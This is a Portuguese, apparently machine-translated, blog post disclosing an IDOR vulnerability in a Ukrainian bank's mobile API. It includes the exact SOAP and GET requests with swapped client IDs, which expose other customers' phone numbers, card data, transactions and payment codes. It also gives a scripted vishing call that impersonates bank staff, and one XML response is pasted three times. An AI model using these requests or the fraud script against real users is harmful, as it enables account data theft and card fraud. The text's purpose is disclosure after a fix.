No ano passado, um banco ucraniano do TOP-10 me convidou para testar seus sistemas de Internet e de banco móvel quanto a vulnerabilidades.
Antes de tudo, decidi começar rastreando as solicitações do aplicativo móvel. Com a ajuda do Fiddler (Burp ou Charles), comecei a considerar cada solicitação de aplicativo, executando, por sua vez, todas as operações disponíveis na minha conta. O mobile banking não foi protegido pela fixação de SSL, portanto não foi difícil.
Nas solicitações GET e POST, tentei alterar os parâmetros para obter o que procurava, mas durante muito tempo não consegui - obtive erros como "Acesso negado". No entanto, encontrei as consultas necessárias.
Por exemplo:
1. Executando uma solicitação POST em um endereço do formulário
https://api.somebank.ua:8243/services/MobileGW.MobileGWHttpsSoap11Endpoint
Com certos parâmetros:
SOAPAction: urn:getChannels Content-Type: text/xml Content-Length: 780 Host: api.somebank.ua:8243 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0
organismo de solicitação: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ib="http://somebank.com.ua/"> <soapenv:Header> <ib:sbbSecurityToken>594d608e-XXXX-XXXX-XXXX-31a7d4ddb016</ib:sbbSecurityToken> <ib:locale>ru</ib:locale> <wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd"> <wsse:UsernameToken> <wsse:Username>mobile</wsse:Username> <wsse:Password>XXXXXXXXXXXXX</wsse:Password> </wsse:UsernameToken> </wsse:Security> </soapenv:Header> <soapenv:Body> <ib:getChannels> <ib:clientId>3618336</ib:clientId> <ib:cardId>?</ib:cardId> </ib:getChannels> </soapenv:Body> </soapenv:Envelope>
Em resposta, recebi muitas informações sobre outro cliente:
<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
</ SBB: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
</ SBB: token> <?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><ib:locale xmlns:ib="http://ib.somebank.com.ua/">ru</ib:locale></soapenv:Header><soapenv:Body><sbb:getChannelsResponse xmlns:sbb="http://ib.somebank.com.ua/"> <sbb:getChannelsResponse> <sbb:registeredChannels> <sbb:cardId>6176071</sbb:cardId> <sbb:channelId>1</sbb:channelId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51237890$8ADA0A63104D0FF189805755DCC31476</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:regDate>2017-11-13T14:55:20+02:00</sbb:regDate> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9269642</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d389bd1f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$51231235$6B8AFE1CBCEAAEBDF6614B97A7308F90</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:51:27+03:00</sbb:regDate> <sbb:token> eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> <sbb:registeredChannels> <sbb:cardId>9869792</sbb:cardId> <sbb:channelId>2</sbb:channelId> <sbb:deviceId>8ac72969-58a9-3e82-89bd-4f51d3d8081f</sbb:deviceId> <sbb:extClientId>3618336</sbb:extClientId> <sbb:hashNum>$1$59876543$3B25E7AC7C1941AED57EB426D83FCC3D</sbb:hashNum> <sbb:phoneNumber>+380671234567</sbb:phoneNumber> <sbb:platform>Android</sbb:platform> <sbb:regDate>2018-06-01T12:49:48+03:00</sbb:regDate> <sbb:token>eCPI8kc1XXX:APA91bEetJ21_xtgWk9WnpC67kzbQfC2R8LJOAV8jCAFtKcKXwavGoOHK4sS6ymmPAwQBwgSn8CPgsLmo04OLYaA76VDxooqJBi5Hc3D_JPdqTXXX9zj7cEZAv8Z7RL0iukHvOv1lxKI</sbb:token> </sbb:registeredChannels> </sbb:getChannelsResponse> </sbb:getChannelsResponse></soapenv:Body></soapenv:Envelope>
Estes são os seguintes dados:
- número de telefone do cliente ("phoneNumber");
- número de cartões (cada parâmetro “cardId”);
- números truncados de tais cartões ("hashNum");
- data do registro no Internet banking ("regDate");
- em qual dispositivo o aplicativo é usado - Android ou iOS ("plataforma");
- e assim por diante
Alterando o parâmetro “ib: clientId” no corpo da solicitação (na resposta é “sbb: extClientId”) de 3618336 para outro, obtemos informações sobre outro cliente.
Vamos seguir em frente.
2. Agora, para os clientes em que “sbb: channelId” é “2” (o canal para receber notificações do cliente: se 1 - SMS, 2 - push), pegue o clientId (extClientId) e substitua-o na solicitação GET pelo endereço
https://api.somebank.com.ua/commgw/message/history?extClientId=3618336&pageNumber=1&pageSize=10
com os seguintes parâmetros:
Authorization: Bearer 0e95863b-XXXX-XXXX-XXXX-71941bfb0733 Content-Type: application/json Host: api.somebank.com.ua Connection: Keep-Alive Accept-Encoding: gzip User-Agent: okhttp/3.9.0
Em resposta, recebemos notificações push enviadas para este cliente:
[{"messageId":"3110600776643113261","messageBody":"Karta 5123-1235 operaciya -2861.83UAH 25.08.18 15:32 SHOP EPITSENTR, UA Dostupno: 28069.91UAH"}, {"messageId":"7150183459642079408","messageBody":"Karta 5123-1235 operaciya 56.8UAH 12/08 12:57 SOCAR PETROL STATIONS Dostupno: 30931.74UAH"}, {"messageId":"1688468957246607805","messageBody":"Karta 5123-1235 operaciya 814.3UAH 08/08 16:54 TOV AGP 5 Z PDV Dostupno: 30988.54UAH"}]
Aqui você pode ver:
- em que cartão estava a operação;
- para que quantidade;
- data e hora da operação;
- que tipo de operação era (comprar em uma loja, retirar de um caixa eletrônico ou caixa registradora, reabastecer um cartão etc.);
- o local onde a operação foi realizada - incluindo o código de autorização necessário para confirmar o pagamento nos sites de pagamento - LookUp, VCODE, CardVerif - mais sobre o que está abaixo;
- saldo do cartão após cada operação.
Dada a grande quantidade de dados recebidos e usando a engenharia social, foi possível sacar dinheiro dos cartões dos clientes nos sites de pagamento.
Por exemplo, um fraudador ligará para +380509876543 com a seguinte conversa:
Karta 5111-1115 operaciya -62.08UAH 23.09.18 03:38 UBER TRIP PKGT4 HELP.UBER, NL Dostupno: 1349.88UAH Karta 5111-1115 operaciya -50.00UAH 22.09.18 19:22 TAVRIYA PLUS, UA Dostupno: 1411.96UAH Karta 5111-1115 operaciya -29.00UAH 22.09.18 10:22 MAGIC SNAIL PARK SHEVCHEN, UA Dostupno: 1461.96UAH
- Boa tarde, o funcionário de monitoramento do SomeBank está incomodando você. Detectamos atividades suspeitas no seu cartão após a última operação. Você pagou com um cartão 5111-1115 por UAH 62,08?
Provavelmente sim.
- Esta operação foi hoje, 23/09/18, às 03:38 em UBER. Você confirma esta operação?
- Ah, sim, fui eu.
- E antes disso, você se estabeleceu em TAVRIYA PLUS por 50 UAH. e comprei café no SHEVCHENko PARK por 29 UAH., certo?
Sim, exatamente.
- bom Para cancelar uma operação fraudulenta do UAH 444, diga-me o número da agência onde o seu cartão foi emitido - são três números na parte de trás do cartão e também ...Se o cliente hesitar, você poderá nomear suas outras operações - usando a vulnerabilidade, poderá vê-las como um número ilimitado.
Portanto, como parte do estudo do aplicativo móvel, foram encontrados métodos para obter os seguintes dados:
- a capacidade de ignorar a autenticação de dois fatores nos sites de pagamento;
- número de telefone do cliente;
- o número de suas cartas;
- números de cartões truncados;
- data de registro no banco on-line;
- Mensagens enviadas ao cliente no smartphone. Inclua informações:
- em que cartão estava a operação;
- para que quantidade;
- data e hora da transação;
- que tipo de transação era (comprar em uma loja, retirar-se de um caixa eletrônico ou caixa registradora, reabastecer um cartão etc.);
- ponto de venda onde esta operação foi realizada - incluindo código de autorização (LookUp);
- saldo do cartão após a operação;
- e muito mais
Explicarei a seriedade da Cláusula 11. Como os cartões deste banco não possuem 3D-Secure (quando um código é enviado ao cliente via SMS que deve ser inserido para confirmar a operação), serviços de pagamento (por exemplo, Portmone, iPay, EasyPay e muitos outros) realize uma operação nesses cartões sem verificação adicional. Ou eles solicitam um código especial 2FA (código LookUp), que está contido nos detalhes da operação - no nome da tomada.
Assim, os fraudadores podem facilmente descobrir informações sobre os clientes e, para confirmar os pagamentos, eles simplesmente analisam os códigos necessários no sistema bancário.
Gostaria também de observar que o serviço não bloqueou várias solicitações e, classificando os dados, foi possível coletar um banco de dados com uma quantidade muito grande de informações.
Algum tempo depois de relatar as vulnerabilidades, elas foram corrigidas.